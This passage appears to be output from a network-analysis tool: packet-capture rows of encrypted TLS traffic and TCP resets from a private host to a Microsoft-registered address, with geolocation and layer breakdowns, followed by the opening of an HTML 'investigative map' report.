4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb79208004500011fb70640008006e8bcc0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b27000017030300f20000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf754bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f68695946107f27325b3d0a3d453ab606439f930cf88900a96557174d5bf5170d1e5094dcb69f3271307f216845c342d9c94c10f298f4514b20f76c4d1f45fa35ec52c8b61099131d7768f323efdbe05617a0316fc64c4b9c4c37e9c4e2c14d5cf5b77df06526bf2f199a229db5056828e47304d86e3ad2f94009d0af9c838a352b33ba63665e5c1c726bf6a44aee86f25a10992cfb4c27e402fb53198e5a78a8b6937e45e6eea30bc238b0ee2fc68,\"RT.W..RT.{....E.....@.......z.............Q...P...['..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....a..s%....S.`d9.0...\n.Uqt..Qp..\tM.i.'.....\\4-....).E...v..._.^.,.a\t.1.v.2>...az...d....~.N,...[w..Rk....).PV..G0M.../...\n..8.R.;.6e...&.jD..o%.\t....~@/.1.....i7.^n.0.#....h\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 287, \"\"id\"\": 46854, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59580, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23335, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 242, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf7T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\x95\\\\x94a\\\\x07\\\\xf2s%\\\\xb3\\\\xd0\\\\xa3\\\\xd4S\\\\xab`d9\\\\xf90\\\\xcf\\\\x88\\\\x90\\\\n\\\\x96Uqt\\\\xd5\\\\xbfQp\\\\xd1\\\\xe5\\\\tM\\\\xcbi\\\\xf3'\\\\x13\\\\x07\\\\xf2\\\\x16\\\\x84\\\\\\\\4-\\\\x9c\\\\x94\\\\xc1\\\\x0f)\\\\x8fE\\\\x14\\\\xb2\\\\x0fv\\\\xc4\\\\xd1\\\\xf4_\\\\xa3^\\\\xc5,\\\\x8ba\\\\t\\\\x911\\\\xd7v\\\\x8f2>\\\\xfd\\\\xbe\\\\x05az\\\\x03\\\\x16\\\\xfcd\\\\xc4\\\\xb9\\\\xc4\\\\xc3~\\\\x9cN,\\\\x14\\\\xd5\\\\xcf[w\\\\xdf\\\\x06Rk\\\\xf2\\\\xf1\\\\x99\\\\xa2)\\\\xdbPV\\\\x82\\\\x8eG0M\\\\x86\\\\xe3\\\\xad/\\\\x94\\\\x00\\\\x9d\\\\n\\\\xf9\\\\xc88\\\\xa3R\\\\xb3;\\\\xa66e\\\\xe5\\\\xc1\\\\xc7&\\\\xbfjD\\\\xae\\\\xe8o%\\\\xa1\\\\t\\\\x92\\\\xcf\\\\xb4\\\\xc2~@/\\\\xb51\\\\x98\\\\xe5\\\\xa7\\\\x8a\\\\x8bi7\\\\xe4^n\\\\xea0\\\\xbc#\\\\x8b\\\\x0e\\\\xe2\\\\xfch\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-29 15:13:34.726326,11,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb79208004500011fb70740008006e8bbc0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b27000017030300f20000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf754bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f68695946107f27325b3d0a3d453ab606439f930cf88900a96557174d5bf5170d1e5094dcb69f3271307f216845c342d9c94c10f298f4514b20f76c4d1f45fa35ec52c8b61099131d7768f323efdbe05617a0316fc64c4b9c4c37e9c4e2c14d5cf5b77df06526bf2f199a229db5056828e47304d86e3ad2f94009d0af9c838a352b33ba63665e5c1c726bf6a44aee86f25a10992cfb4c27e402fb53198e5a78a8b6937e45e6eea30bc238b0ee2fc68,\"RT.W..RT.{....E.....@.......z.............Q...P...['..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....a..s%....S.`d9.0...\n.Uqt..Qp..\tM.i.'.....\\4-....).E...v..._.^.,.a\t.1.v.2>...az...d....~.N,...[w..Rk....).PV..G0M.../...\n..8.R.;.6e...&.jD..o%.\t....~@/.1.....i7.^n.0.#....h\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 287, \"\"id\"\": 46855, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59579, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23335, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 242, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf7T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\x95\\\\x94a\\\\x07\\\\xf2s%\\\\xb3\\\\xd0\\\\xa3\\\\xd4S\\\\xab`d9\\\\xf90\\\\xcf\\\\x88\\\\x90\\\\n\\\\x96Uqt\\\\xd5\\\\xbfQp\\\\xd1\\\\xe5\\\\tM\\\\xcbi\\\\xf3'\\\\x13\\\\x07\\\\xf2\\\\x16\\\\x84\\\\\\\\4-\\\\x9c\\\\x94\\\\xc1\\\\x0f)\\\\x8fE\\\\x14\\\\xb2\\\\x0fv\\\\xc4\\\\xd1\\\\xf4_\\\\xa3^\\\\xc5,\\\\x8ba\\\\t\\\\x911\\\\xd7v\\\\x8f2>\\\\xfd\\\\xbe\\\\x05az\\\\x03\\\\x16\\\\xfcd\\\\xc4\\\\xb9\\\\xc4\\\\xc3~\\\\x9cN,\\\\x14\\\\xd5\\\\xcf[w\\\\xdf\\\\x06Rk\\\\xf2\\\\xf1\\\\x99\\\\xa2)\\\\xdbPV\\\\x82\\\\x8eG0M\\\\x86\\\\xe3\\\\xad/\\\\x94\\\\x00\\\\x9d\\\\n\\\\xf9\\\\xc88\\\\xa3R\\\\xb3;\\\\xa66e\\\\xe5\\\\xc1\\\\xc7&\\\\xbfjD\\\\xae\\\\xe8o%\\\\xa1\\\\t\\\\x92\\\\xcf\\\\xb4\\\\xc2~@/\\\\xb51\\\\x98\\\\xe5\\\\xa7\\\\x8a\\\\x8bi7\\\\xe4^n\\\\xea0\\\\xbc#\\\\x8b\\\\x0e\\\\xe2\\\\xfch\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-29 15:13:35.929634,12,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb79208004500011fb70840008006e8bac0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b27000017030300f20000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf754bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f68695946107f27325b3d0a3d453ab606439f930cf88900a96557174d5bf5170d1e5094dcb69f3271307f216845c342d9c94c10f298f4514b20f76c4d1f45fa35ec52c8b61099131d7768f323efdbe05617a0316fc64c4b9c4c37e9c4e2c14d5cf5b77df06526bf2f199a229db5056828e47304d86e3ad2f94009d0af9c838a352b33ba63665e5c1c726bf6a44aee86f25a10992cfb4c27e402fb53198e5a78a8b6937e45e6eea30bc238b0ee2fc68,\"RT.W..RT.{....E.....@.......z.............Q...P...['..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....a..s%....S.`d9.0...\n.Uqt..Qp..\tM.i.'.....\\4-....).E...v..._.^.,.a\t.1.v.2>...az...d....~.N,...[w..Rk....).PV..G0M.../...\n..8.R.;.6e...&.jD..o%.\t....~@/.1.....i7.^n.0.#....h\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 287, \"\"id\"\": 46856, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59578, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23335, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 242, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf7T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\x95\\\\x94a\\\\x07\\\\xf2s%\\\\xb3\\\\xd0\\\\xa3\\\\xd4S\\\\xab`d9\\\\xf90\\\\xcf\\\\x88\\\\x90\\\\n\\\\x96Uqt\\\\xd5\\\\xbfQp\\\\xd1\\\\xe5\\\\tM\\\\xcbi\\\\xf3'\\\\x13\\\\x07\\\\xf2\\\\x16\\\\x84\\\\\\\\4-\\\\x9c\\\\x94\\\\xc1\\\\x0f)\\\\x8fE\\\\x14\\\\xb2\\\\x0fv\\\\xc4\\\\xd1\\\\xf4_\\\\xa3^\\\\xc5,\\\\x8ba\\\\t\\\\x911\\\\xd7v\\\\x8f2>\\\\xfd\\\\xbe\\\\x05az\\\\x03\\\\x16\\\\xfcd\\\\xc4\\\\xb9\\\\xc4\\\\xc3~\\\\x9cN,\\\\x14\\\\xd5\\\\xcf[w\\\\xdf\\\\x06Rk\\\\xf2\\\\xf1\\\\x99\\\\xa2)\\\\xdbPV\\\\x82\\\\x8eG0M\\\\x86\\\\xe3\\\\xad/\\\\x94\\\\x00\\\\x9d\\\\n\\\\xf9\\\\xc88\\\\xa3R\\\\xb3;\\\\xa66e\\\\xe5\\\\xc1\\\\xc7&\\\\xbfjD\\\\xae\\\\xe8o%\\\\xa1\\\\t\\\\x92\\\\xcf\\\\xb4\\\\xc2~@/\\\\xb51\\\\x98\\\\xe5\\\\xa7\\\\x8a\\\\x8bi7\\\\xe4^n\\\\xea0\\\\xbc#\\\\x8b\\\\x0e\\\\xe2\\\\xfch\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-29 15:13:38.330775,13,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb79208004500011fb70940008006e8b9c0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b27000017030300f20000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf754bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f68695946107f27325b3d0a3d453ab606439f930cf88900a96557174d5bf5170d1e5094dcb69f3271307f216845c342d9c94c10f298f4514b20f76c4d1f45fa35ec52c8b61099131d7768f323efdbe05617a0316fc64c4b9c4c37e9c4e2c14d5cf5b77df06526bf2f199a229db5056828e47304d86e3ad2f94009d0af9c838a352b33ba63665e5c1c726bf6a44aee86f25a10992cfb4c27e402fb53198e5a78a8b6937e45e6eea30bc238b0ee2fc68,\"RT.W..RT.{....E....\t@.......z.............Q...P...['..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....a..s%....S.`d9.0...\n.Uqt..Qp..\tM.i.'.....\\4-....).E...v..._.^.,.a\t.1.v.2>...az...d....~.N,...[w..Rk....).PV..G0M.../...\n..8.R.;.6e...&.jD..o%.\t....~@/.1.....i7.^n.0.#....h\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 287, \"\"id\"\": 46857, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59577, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23335, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 242, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf7T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\x95\\\\x94a\\\\x07\\\\xf2s%\\\\xb3\\\\xd0\\\\xa3\\\\xd4S\\\\xab`d9\\\\xf90\\\\xcf\\\\x88\\\\x90\\\\n\\\\x96Uqt\\\\xd5\\\\xbfQp\\\\xd1\\\\xe5\\\\tM\\\\xcbi\\\\xf3'\\\\x13\\\\x07\\\\xf2\\\\x16\\\\x84\\\\\\\\4-\\\\x9c\\\\x94\\\\xc1\\\\x0f)\\\\x8fE\\\\x14\\\\xb2\\\\x0fv\\\\xc4\\\\xd1\\\\xf4_\\\\xa3^\\\\xc5,\\\\x8ba\\\\t\\\\x911\\\\xd7v\\\\x8f2>\\\\xfd\\\\xbe\\\\x05az\\\\x03\\\\x16\\\\xfcd\\\\xc4\\\\xb9\\\\xc4\\\\xc3~\\\\x9cN,\\\\x14\\\\xd5\\\\xcf[w\\\\xdf\\\\x06Rk\\\\xf2\\\\xf1\\\\x99\\\\xa2)\\\\xdbPV\\\\x82\\\\x8eG0M\\\\x86\\\\xe3\\\\xad/\\\\x94\\\\x00\\\\x9d\\\\n\\\\xf9\\\\xc88\\\\xa3R\\\\xb3;\\\\xa66e\\\\xe5\\\\xc1\\\\xc7&\\\\xbfjD\\\\xae\\\\xe8o%\\\\xa1\\\\t\\\\x92\\\\xcf\\\\xb4\\\\xc2~@/\\\\xb51\\\\x98\\\\xe5\\\\xa7\\\\x8a\\\\x8bi7\\\\xe4^n\\\\xea0\\\\xbc#\\\\x8b\\\\x0e\\\\xe2\\\\xfch\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-29 15:13:41.289985,14,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,RA,,,Ether > IP > TCP,3,TCP RA Seq=3881783903 Ack=1692602478,525400577f945254007bb792080045000028b70a40008006e9afc0a87aa804d519f0c2eb01bbe75f525f64e3106e501400005a300000,\"RT.W..RT.{....E..(.\n@.......z.........._R_d..nP...Z0..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 46858, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59823, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783903, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"RA\"\", \"\"window\"\": 0, \"\"chksum\"\": 23088, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 15:13:43.140551,15,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb79208004500011fb70b40008006e8b7c0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b27000017030300f20000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf754bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f68695946107f27325b3d0a3d453ab606439f930cf88900a96557174d5bf5170d1e5094dcb69f3271307f216845c342d9c94c10f298f4514b20f76c4d1f45fa35ec52c8b61099131d7768f323efdbe05617a0316fc64c4b9c4c37e9c4e2c14d5cf5b77df06526bf2f199a229db5056828e47304d86e3ad2f94009d0af9c838a352b33ba63665e5c1c726bf6a44aee86f25a10992cfb4c27e402fb53198e5a78a8b6937e45e6eea30bc238b0ee2fc68,\"RT.W..RT.{....E.....@.......z.............Q...P...['..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....a..s%....S.`d9.0...\n.Uqt..Qp..\tM.i.'.....\\4-....).E...v..._.^.,.a\t.1.v.2>...az...d....~.N,...[w..Rk....).PV..G0M.../...\n..8.R.;.6e...&.jD..o%.\t....~@/.1.....i7.^n.0.#....h\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 287, \"\"id\"\": 46859, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59575, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23335, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 242, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf7T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\x95\\\\x94a\\\\x07\\\\xf2s%\\\\xb3\\\\xd0\\\\xa3\\\\xd4S\\\\xab`d9\\\\xf90\\\\xcf\\\\x88\\\\x90\\\\n\\\\x96Uqt\\\\xd5\\\\xbfQp\\\\xd1\\\\xe5\\\\tM\\\\xcbi\\\\xf3'\\\\x13\\\\x07\\\\xf2\\\\x16\\\\x84\\\\\\\\4-\\\\x9c\\\\x94\\\\xc1\\\\x0f)\\\\x8fE\\\\x14\\\\xb2\\\\x0fv\\\\xc4\\\\xd1\\\\xf4_\\\\xa3^\\\\xc5,\\\\x8ba\\\\t\\\\x911\\\\xd7v\\\\x8f2>\\\\xfd\\\\xbe\\\\x05az\\\\x03\\\\x16\\\\xfcd\\\\xc4\\\\xb9\\\\xc4\\\\xc3~\\\\x9cN,\\\\x14\\\\xd5\\\\xcf[w\\\\xdf\\\\x06Rk\\\\xf2\\\\xf1\\\\x99\\\\xa2)\\\\xdbPV\\\\x82\\\\x8eG0M\\\\x86\\\\xe3\\\\xad/\\\\x94\\\\x00\\\\x9d\\\\n\\\\xf9\\\\xc88\\\\xa3R\\\\xb3;\\\\xa66e\\\\xe5\\\\xc1\\\\xc7&\\\\xbfjD\\\\xae\\\\xe8o%\\\\xa1\\\\t\\\\x92\\\\xcf\\\\xb4\\\\xc2~@/\\\\xb51\\\\x98\\\\xe5\\\\xa7\\\\x8a\\\\x8bi7\\\\xe4^n\\\\xea0\\\\xbc#\\\\x8b\\\\x0e\\\\xe2\\\\xfch\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-29 15:13:52.747085,16,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,RA,,,Ether > IP > TCP,3,TCP RA Seq=3334411404 Ack=1369756557,525400577f945254007bb792080045000028b70c40008006e9adc0a87aa804d519f0c2e401bbc6bf148c51a4d38d501400005a300000,RT.W..RT.{....E..(..@.......z.............Q...P...Z0..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 46860, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59821, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411404, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"RA\"\", \"\"window\"\": 0, \"\"chksum\"\": 23088, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n"},"html_report":"<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"UTF-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <title>Global Network Analysis - Investigative Map</title>\n    <!-- Light Theme UI -->\n    <link rel=\"stylesheet\" href=\"https://unpkg.com/leaflet@1.9.4/dist/leaflet.css\" />\n    <script src=\"https://unpkg.com/leaflet@1.9.4/dist/leaflet.js\"></script>\n    <script src=\"https://d3js.org/d3.v7.min.js\"></script>\n    <link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css\" />\n    <style>\n        :root {\n            --bg-page: #f8fafc;\n            --panel-bg: #ffffff;\n            --border-ui: 